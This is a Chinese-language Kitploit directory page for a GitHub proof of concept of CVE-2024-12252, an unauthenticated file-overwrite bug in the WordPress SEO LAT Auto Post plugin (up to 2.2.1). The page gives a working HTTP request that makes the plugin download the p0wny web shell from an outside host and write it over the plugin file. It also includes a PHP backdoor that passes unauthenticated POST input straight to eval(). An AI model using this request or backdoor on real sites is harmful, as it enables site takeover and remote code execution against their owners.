Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-12252 — SEO LAT Auto Post <= 2.2.1 - 缺少授权导致文件覆盖/上传(远程代码执行) | Kitploit
工具/GitHubGitHub/randomrobbiebf/cve-2024-12252
身份验证与授权Payload生成漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试错误配置
GitHubrandomrobbiebf/cve-2024-12252

CVE-2024-12252

SEO LAT Auto Post <= 2.2.1 - 缺少授权导致文件覆盖/上传(远程代码执行)

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-12252

SEO LAT Auto Post <= 2.2.1 - 缺少授权导致文件覆盖/上传(远程代码执行)

描述

WordPress 的 SEO LAT Auto Post 插件在 2.2.1 及之前的所有版本中,由于 remote_update AJAX 操作缺少权限检查,因此存在文件覆盖漏洞。这使得未认证的攻击者能够覆盖 seo-beginner-auto-post.php 文件,并借此实现远程代码执行。

详细信息

  • 类型:plugin
  • Slug:seo-beginner-auto-post
  • 受影响版本:2.2.1
  • CVSS 分数:9.8
  • CVSS 评级:严重
  • CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVE:CVE-2024-12252
  • 状态:已关闭

POC

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 104

action=remote_update&url=https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php

这将覆盖 https://wp-dev.ddev.site/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php - 我建议修改当前插件,并添加一个 nopriv 操作以实现远程代码执行(RCE)。https://plugins.svn.wordpress.org/seo-beginner-auto-post/trunk/seo-beginner-auto-post.php

添加类似如下的函数。

root@kitploit:~


// Add the AJAX action
add_action('wp_ajax_nopriv_execute_code', 'execute_code_callback');
add_action('wp_ajax_execute_code', 'execute_code_callback');

// The callback function
function execute_code_callback() {
    // Get the code to execute from the request
    $code = $_POST['code'];

    // Execute the code
    eval($code);

    // Return a success message
    echo 'Code executed successfully!';
    wp_die();
}
下载工具